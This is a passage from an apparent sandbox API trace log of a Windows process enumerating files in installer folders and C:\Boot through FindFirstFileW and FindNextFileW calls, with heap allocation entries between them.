lpFindFileData=0x32bf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xbd82ba00, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xbd82ba00, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xbd82ba00, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x47e, dwReserved0=0x0, dwReserved1=0x0, cFileName="Save.ico", cAlternateFileName="")) returned 1 [0101.456] FindNextFileW (in: hFindFile=0x4290440, lpFindFileData=0x32bf800 | out: lpFindFileData=0x32bf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xbd82ba00, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xbd82ba00, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xbd82ba00, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x8f66, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.ico", cAlternateFileName="")) returned 1 [0101.456] FindNextFileW (in: hFindFile=0x4290440, lpFindFileData=0x32bf800 | out: lpFindFileData=0x32bf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5b5e7f00, ftCreationTime.dwHighDateTime=0x1ca927c, ftLastAccessTime.dwLowDateTime=0x5b5e7f00, ftLastAccessTime.dwHighDateTime=0x1ca927c, ftLastWriteTime.dwLowDateTime=0x5b5e7f00, ftLastWriteTime.dwHighDateTime=0x1ca927c, nFileSizeHigh=0x0, nFileSizeLow=0x2796, dwReserved0=0x0, dwReserved1=0x0, cFileName="stop.ico", cAlternateFileName="")) returned 1 [0101.456] FindNextFileW (in: hFindFile=0x4290440, lpFindFileData=0x32bf800 | out: lpFindFileData=0x32bf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xbd82ba00, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xbd82ba00, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xbd82ba00, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x47e, dwReserved0=0x0, dwReserved1=0x0, cFileName="SysReqMet.ico", cAlternateFileName="SYSREQ~1.ICO")) returned 1 [0101.456] FindNextFileW (in: hFindFile=0x4290440, lpFindFileData=0x32bf800 | out: lpFindFileData=0x32bf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xbd82ba00, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xbd82ba00, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xbd82ba00, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x47e, dwReserved0=0x0, dwReserved1=0x0, cFileName="SysReqNotMet.ico", cAlternateFileName="SYSREQ~2.ICO")) returned 1 [0101.457] FindNextFileW (in: hFindFile=0x4290440, lpFindFileData=0x32bf800 | out: lpFindFileData=0x32bf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xbd82ba00, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xbd82ba00, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xbd82ba00, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x2796, dwReserved0=0x0, dwReserved1=0x0, cFileName="warn.ico", cAlternateFileName="")) returned 1 [0101.457] FindNextFileW (in: hFindFile=0x4290440, lpFindFileData=0x32bf800 | out: lpFindFileData=0x32bf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xbd82ba00, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xbd82ba00, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xbd82ba00, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x2796, dwReserved0=0x0, dwReserved1=0x0, cFileName="warn.ico", cAlternateFileName="")) returned 0 [0101.458] FindClose (in: hFindFile=0x4290440 | out: hFindFile=0x4290440) returned 1 [0101.460] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x42a1060 | out: hHeap=0x5c0000) returned 1 [0101.461] FindNextFileW (in: hFindFile=0x42903c0, lpFindFileData=0x32bfa7c | out: lpFindFileData=0x32bfa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x87910600, ftCreationTime.dwHighDateTime=0x1ca2a27, ftLastAccessTime.dwLowDateTime=0x87910600, ftLastAccessTime.dwHighDateTime=0x1ca2a27, ftLastWriteTime.dwLowDateTime=0x87910600, ftLastWriteTime.dwHighDateTime=0x1ca2a27, nFileSizeHigh=0x0, nFileSizeLow=0xe2c, dwReserved0=0x0, dwReserved1=0x240000, cFileName="header.bmp", cAlternateFileName="")) returned 1 [0101.461] FindNextFileW (in: hFindFile=0x42903c0, lpFindFileData=0x32bfa7c | out: lpFindFileData=0x32bfa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x66ea7e00, ftCreationTime.dwHighDateTime=0x1cac6e3, ftLastAccessTime.dwLowDateTime=0x66ea7e00, ftLastAccessTime.dwHighDateTime=0x1cac6e3, ftLastWriteTime.dwLowDateTime=0x66ea7e00, ftLastWriteTime.dwHighDateTime=0x1cac6e3, nFileSizeHigh=0x0, nFileSizeLow=0xad1384b, dwReserved0=0x0, dwReserved1=0x240000, cFileName="netfx_Core.mzz", cAlternateFileName="NETFX_~1.MZZ")) returned 1 [0101.461] FindNextFileW (in: hFindFile=0x42903c0, lpFindFileData=0x32bfa7c | out: lpFindFileData=0x32bfa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xc183da00, ftCreationTime.dwHighDateTime=0x1cac6e3, ftLastAccessTime.dwLowDateTime=0xc183da00, ftLastAccessTime.dwHighDateTime=0x1cac6e3, ftLastWriteTime.dwLowDateTime=0xc183da00, ftLastWriteTime.dwHighDateTime=0x1cac6e3, nFileSizeHigh=0x0, nFileSizeLow=0x1d0200, dwReserved0=0x0, dwReserved1=0x240000, cFileName="netfx_Core_x64.msi", cAlternateFileName="NETFX_~1.MSI")) returned 1 [0101.462] FindNextFileW (in: hFindFile=0x42903c0, lpFindFileData=0x32bfa7c | out: lpFindFileData=0x32bfa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x4c130c00, ftCreationTime.dwHighDateTime=0x1cac6d9, ftLastAccessTime.dwLowDateTime=0x4c130c00, ftLastAccessTime.dwHighDateTime=0x1cac6d9, ftLastWriteTime.dwLowDateTime=0x4c130c00, ftLastWriteTime.dwHighDateTime=0x1cac6d9, nFileSizeHigh=0x0, nFileSizeLow=0x11c000, dwReserved0=0x0, dwReserved1=0x240000, cFileName="netfx_Core_x86.msi", cAlternateFileName="NETFX_~2.MSI")) returned 1 [0101.462] FindNextFileW (in: hFindFile=0x42903c0, lpFindFileData=0x32bfa7c | out: lpFindFileData=0x32bfa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf74cd515, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf74cd515, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf7cd9415, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x29222c7, dwReserved0=0x0, dwReserved1=0x240000, cFileName="netfx_Extended.mzz", cAlternateFileName="NETFX_~2.MZZ")) returned 1 [0101.462] FindNextFileW (in: hFindFile=0x42903c0, lpFindFileData=0x32bfa7c | out: lpFindFileData=0x32bfa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x2dbe0800, ftCreationTime.dwHighDateTime=0x1cac6fb, ftLastAccessTime.dwLowDateTime=0x2dbe0800, ftLastAccessTime.dwHighDateTime=0x1cac6fb, ftLastWriteTime.dwLowDateTime=0x2dbe0800, ftLastWriteTime.dwHighDateTime=0x1cac6fb, nFileSizeHigh=0x0, nFileSizeLow=0xd5000, dwReserved0=0x0, dwReserved1=0x240000, cFileName="netfx_Extended_x64.msi", cAlternateFileName="NETFX_~3.MSI")) returned 1 [0101.462] FindNextFileW (in: hFindFile=0x42903c0, lpFindFileData=0x32bfa7c | out: lpFindFileData=0x32bfa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x7626f700, ftCreationTime.dwHighDateTime=0x1cac6f6, ftLastAccessTime.dwLowDateTime=0x7626f700, ftLastAccessTime.dwHighDateTime=0x1cac6f6, ftLastWriteTime.dwLowDateTime=0x7626f700, ftLastWriteTime.dwHighDateTime=0x1cac6f6, nFileSizeHigh=0x0, nFileSizeLow=0x79000, dwReserved0=0x0, dwReserved1=0x240000, cFileName="netfx_Extended_x86.msi", cAlternateFileName="NETFX_~4.MSI")) returned 1 [0101.470] FindNextFileW (in: hFindFile=0x42903c0, lpFindFileData=0x32bfa7c | out: lpFindFileData=0x32bfa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x4a0f7400, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x4a0f7400, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x4a0f7400, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x426ae, dwReserved0=0x0, dwReserved1=0x240000, cFileName="ParameterInfo.xml", cAlternateFileName="PARAME~1.XML")) returned 1 [0101.471] FindNextFileW (in: hFindFile=0x42903c0, lpFindFileData=0x32bfa7c | out: lpFindFileData=0x32bfa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x19dedd00, ftCreationTime.dwHighDateTime=0x1ca2a1b, ftLastAccessTime.dwLowDateTime=0x19dedd00, ftLastAccessTime.dwHighDateTime=0x1ca2a1b, ftLastWriteTime.dwLowDateTime=0x19dedd00, ftLastWriteTime.dwHighDateTime=0x1ca2a1b, nFileSizeHigh=0x0, nFileSizeLow=0x2d200, dwReserved0=0x0, dwReserved1=0x240000, cFileName="RGB9RAST_x64.msi", cAlternateFileName="RGB9RA~1.MSI")) returned 1 [0101.471] FindNextFileW (in: hFindFile=0x42903c0, lpFindFileData=0x32bfa7c | out: lpFindFileData=0x32bfa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x177c8300, ftCreationTime.dwHighDateTime=0x1ca2a1b, ftLastAccessTime.dwLowDateTime=0x177c8300, ftLastAccessTime.dwHighDateTime=0x1ca2a1b, ftLastWriteTime.dwLowDateTime=0x177c8300, ftLastWriteTime.dwHighDateTime=0x1ca2a1b, nFileSizeHigh=0x0, nFileSizeLow=0x17200, dwReserved0=0x0, dwReserved1=0x240000, cFileName="RGB9Rast_x86.msi", cAlternateFileName="RGB9RA~2.MSI")) returned 1 [0101.471] FindNextFileW (in: hFindFile=0x42903c0, lpFindFileData=0x32bfa7c | out: lpFindFileData=0x32bfa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x13148, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Setup.exe", cAlternateFileName="")) returned 1 [0101.471] FindNextFileW (in: hFindFile=0x42903c0, lpFindFileData=0x32bfa7c | out: lpFindFileData=0x32bfa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0xc5158, dwReserved0=0x0, dwReserved1=0x240000, cFileName="SetupEngine.dll", cAlternateFileName="SETUPE~1.DLL")) returned 1 [0101.471] FindNextFileW (in: hFindFile=0x42903c0, lpFindFileData=0x32bfa7c | out: lpFindFileData=0x32bfa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x48150, dwReserved0=0x0, dwReserved1=0x240000, cFileName="SetupUi.dll", cAlternateFileName="")) returned 1 [0101.471] FindNextFileW (in: hFindFile=0x42903c0, lpFindFileData=0x32bfa7c | out: lpFindFileData=0x32bfa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5381000, ftCreationTime.dwHighDateTime=0x1ca5de3, ftLastAccessTime.dwLowDateTime=0x5381000, ftLastAccessTime.dwHighDateTime=0x1ca5de3, ftLastWriteTime.dwLowDateTime=0x5381000, ftLastWriteTime.dwHighDateTime=0x1ca5de3, nFileSizeHigh=0x0, nFileSizeLow=0x75a8, dwReserved0=0x0, dwReserved1=0x240000, cFileName="SetupUi.xsd", cAlternateFileName="")) returned 1 [0101.471] FindNextFileW (in: hFindFile=0x42903c0, lpFindFileData=0x32bfa7c | out: lpFindFileData=0x32bfa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x6519be00, ftCreationTime.dwHighDateTime=0x1cac6d5, ftLastAccessTime.dwLowDateTime=0x6519be00, ftLastAccessTime.dwHighDateTime=0x1cac6d5, ftLastWriteTime.dwLowDateTime=0x6519be00, ftLastWriteTime.dwHighDateTime=0x1cac6d5, nFileSizeHigh=0x0, nFileSizeLow=0x17758, dwReserved0=0x0, dwReserved1=0x240000, cFileName="SetupUtility.exe", cAlternateFileName="SETUPU~1.EXE")) returned 1 [0101.472] FindNextFileW (in: hFindFile=0x42903c0, lpFindFileData=0x32bfa7c | out: lpFindFileData=0x32bfa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xce333000, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xce333000, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xce333000, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0xa078, dwReserved0=0x0, dwReserved1=0x240000, cFileName="SplashScreen.bmp", cAlternateFileName="SPLASH~1.BMP")) returned 1 [0101.472] FindNextFileW (in: hFindFile=0x42903c0, lpFindFileData=0x32bfa7c | out: lpFindFileData=0x32bfa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x143bc400, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0x143bc400, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0x143bc400, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x23420, dwReserved0=0x0, dwReserved1=0x240000, cFileName="sqmapi.dll", cAlternateFileName="")) returned 1 [0101.472] FindNextFileW (in: hFindFile=0x42903c0, lpFindFileData=0x32bfa7c | out: lpFindFileData=0x32bfa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xce333000, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xce333000, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xce333000, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x3704, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Strings.xml", cAlternateFileName="")) returned 1 [0101.472] FindNextFileW (in: hFindFile=0x42903c0, lpFindFileData=0x32bfa7c | out: lpFindFileData=0x32bfa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x79a6a00, ftCreationTime.dwHighDateTime=0x1ca5de3, ftLastAccessTime.dwLowDateTime=0x79a6a00, ftLastAccessTime.dwHighDateTime=0x1ca5de3, ftLastWriteTime.dwLowDateTime=0x79a6a00, ftLastWriteTime.dwHighDateTime=0x1ca5de3, nFileSizeHigh=0x0, nFileSizeLow=0x97f2, dwReserved0=0x0, dwReserved1=0x240000, cFileName="UiInfo.xml", cAlternateFileName="")) returned 1 [0101.472] FindNextFileW (in: hFindFile=0x42903c0, lpFindFileData=0x32bfa7c | out: lpFindFileData=0x32bfa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x87910600, ftCreationTime.dwHighDateTime=0x1ca2a27, ftLastAccessTime.dwLowDateTime=0x87910600, ftLastAccessTime.dwHighDateTime=0x1ca2a27, ftLastWriteTime.dwLowDateTime=0x87910600, ftLastWriteTime.dwHighDateTime=0x1ca2a27, nFileSizeHigh=0x0, nFileSizeLow=0x19688, dwReserved0=0x0, dwReserved1=0x240000, cFileName="watermark.bmp", cAlternateFileName="WATERM~1.BMP")) returned 1 [0101.472] FindNextFileW (in: hFindFile=0x42903c0, lpFindFileData=0x32bfa7c | out: lpFindFileData=0x32bfa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x2120bc00, ftCreationTime.dwHighDateTime=0x1cac6c9, ftLastAccessTime.dwLowDateTime=0x2120bc00, ftLastAccessTime.dwHighDateTime=0x1cac6c9, ftLastWriteTime.dwLowDateTime=0x2120bc00, ftLastWriteTime.dwHighDateTime=0x1cac6c9, nFileSizeHigh=0x0, nFileSizeLow=0x4f5113, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Windows6.0-KB956250-v6001-x64.msu", cAlternateFileName="WINDOW~1.MSU")) returned 1 [0101.472] FindNextFileW (in: hFindFile=0x42903c0, lpFindFileData=0x32bfa7c | out: lpFindFileData=0x32bfa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x1bbe7400, ftCreationTime.dwHighDateTime=0x1cac6bf, ftLastAccessTime.dwLowDateTime=0x1bbe7400, ftLastAccessTime.dwHighDateTime=0x1cac6bf, ftLastWriteTime.dwLowDateTime=0x1bbe7400, ftLastWriteTime.dwHighDateTime=0x1cac6bf, nFileSizeHigh=0x0, nFileSizeLow=0x217520, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Windows6.0-KB956250-v6001-x86.msu", cAlternateFileName="WINDOW~2.MSU")) returned 1 [0101.472] FindNextFileW (in: hFindFile=0x42903c0, lpFindFileData=0x32bfa7c | out: lpFindFileData=0x32bfa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5b8e5700, ftCreationTime.dwHighDateTime=0x1cac6d1, ftLastAccessTime.dwLowDateTime=0x5b8e5700, ftLastAccessTime.dwHighDateTime=0x1cac6d1, ftLastWriteTime.dwLowDateTime=0x5b8e5700, ftLastWriteTime.dwHighDateTime=0x1cac6d1, nFileSizeHigh=0x0, nFileSizeLow=0x4db1ce, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Windows6.1-KB958488-v6001-x64.msu", cAlternateFileName="WINDOW~3.MSU")) returned 1 [0101.473] FindNextFileW (in: hFindFile=0x42903c0, lpFindFileData=0x32bfa7c | out: lpFindFileData=0x32bfa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xd0ac5d00, ftCreationTime.dwHighDateTime=0x1cac6ce, ftLastAccessTime.dwLowDateTime=0xd0ac5d00, ftLastAccessTime.dwHighDateTime=0x1cac6ce, ftLastWriteTime.dwLowDateTime=0xd0ac5d00, ftLastWriteTime.dwHighDateTime=0x1cac6ce, nFileSizeHigh=0x0, nFileSizeLow=0x20acf9, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Windows6.1-KB958488-v6001-x86.msu", cAlternateFileName="WINDOW~4.MSU")) returned 1 [0101.473] FindNextFileW (in: hFindFile=0x42903c0, lpFindFileData=0x32bfa7c | out: lpFindFileData=0x32bfa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xd0ac5d00, ftCreationTime.dwHighDateTime=0x1cac6ce, ftLastAccessTime.dwLowDateTime=0xd0ac5d00, ftLastAccessTime.dwHighDateTime=0x1cac6ce, ftLastWriteTime.dwLowDateTime=0xd0ac5d00, ftLastWriteTime.dwHighDateTime=0x1cac6ce, nFileSizeHigh=0x0, nFileSizeLow=0x20acf9, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Windows6.1-KB958488-v6001-x86.msu", cAlternateFileName="WINDOW~4.MSU")) returned 0 [0101.478] FindClose (in: hFindFile=0x42903c0 | out: hFindFile=0x42903c0) returned 1 [0101.478] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3c60940 | out: hHeap=0x5c0000) returned 1 [0101.478] FindNextFileW (in: hFindFile=0x5d9a58, lpFindFileData=0x32bfcf8 | out: lpFindFileData=0x32bfcf8*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xc47952ba, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef6fa258, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef6fa258, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x77bb0000, dwReserved1=0x0, cFileName="Boot", cAlternateFileName="")) returned 1 [0101.478] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xfffe) returned 0x3c60940 [0101.478] FindFirstFileW (in: lpFileName="C:\\Boot\\*", lpFindFileData=0x32bfa7c | out: lpFindFileData=0x32bfa7c*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xc47952ba, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef9d311c, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef9d311c, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName=".", cAlternateFileName="")) returned 0x42902c0 [0101.479] FindNextFileW (in: hFindFile=0x42902c0, lpFindFileData=0x32bfa7c | out: lpFindFileData=0x32bfa7c*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xc47952ba, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef9d311c, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef9d311c, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="..", cAlternateFileName="")) returned 1 [0101.479] FindNextFileW (in: hFindFile=0x42902c0, lpFindFileData=0x32bfa7c | out: lpFindFileData=0x32bfa7c*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xc4c800b6, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xac3efa99, ftLastAccessTime.dwHighDateTime=0x1d4d5d3, ftLastWriteTime.dwLowDateTime=0xac3efa99, ftLastWriteTime.dwHighDateTime=0x1d4d5d3, nFileSizeHigh=0x0, nFileSizeLow=0xb000, dwReserved0=0x0, dwReserved1=0x240000, cFileName="BCD", cAlternateFileName="")) returned 1 [0101.479] FindNextFileW (in: hFindFile=0x42902c0, lpFindFileData=0x32bfa7c | out: lpFindFileData=0x32bfa7c*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xc4c800b6, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc4c800b6, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc4c800b6, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x10000, dwReserved0=0x0, dwReserved1=0x240000, cFileName="BCD.LOG", cAlternateFileName="")) returned 1 [0101.479] FindNextFileW (in: hFindFile=0x42902c0, lpFindFileData=0x32bfa7c | out: lpFindFileData=0x32bfa7c*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xc4c800b6, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc4c800b6, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc4c800b6, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="BCD.LOG1", cAlternateFileName="BCD~1.LOG")) returned 1 [0101.480] FindNextFileW (in: hFindFile=0x42902c0, lpFindFileData=0x32bfa7c | out: lpFindFileData=0x32bfa7c*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xc4c800b6, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc4c800b6, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc4c800b6, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="BCD.LOG2", cAlternateFileName="BCD~2.LOG")) returned 1 [0101.480] FindNextFileW (in: hFindFile=0x42902c0, lpFindFileData=0x32bfa7c | out: lpFindFileData=0x32bfa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc47952ba, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc47bb525, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc47bb525, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="bg-BG", cAlternateFileName="")) returned 1 [0101.480] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xfffe) returned 0x4280048 [0101.480] FindFirstFileW (in: lpFileName="C:\\Boot\\bg-BG\\*", lpFindFileData=0x32bf800 | out: lpFindFileData=0x32bf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc47952ba, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc47bb525, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc47bb525, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x42907c0 [0101.485] FindNextFileW (in: hFindFile=0x42907c0, lpFindFileData=0x32bf800 | out: lpFindFileData=0x32bf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc47952ba, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc47bb525, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc47bb525, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0101.485] FindNextFileW (in: hFindFile=0x42907c0, lpFindFileData=0x32bf800 | out: lpFindFileData=0x32bf800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc47bb525, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc47bb525, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x210bba74, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12f60, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0101.485] FindNextFileW (in: hFindFile=0x42907c0, lpFindFileData=0x32bf800 | out: lpFindFileData=0x32bf800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc47bb525, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc47bb525, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x210bba74, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12f60, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0101.485] FindClose (in: hFindFile=0x42907c0 | out: hFindFile=0x42907c0) returned 1 [0101.485] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x4280048 | out: hHeap=0x5c0000) returned 1 [0101.485] FindNextFileW (in: hFindFile=0x42902c0, lpFindFileData=0x32bfa7c | out: lpFindFileData=0x32bfa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef4e6d79, ftCreationTime.dwHighDateTime=0x1d3273d, ftLastAccessTime.dwLowDateTime=0xef4e6d79, ftLastAccessTime.dwHighDateTime=0x1d3273d, 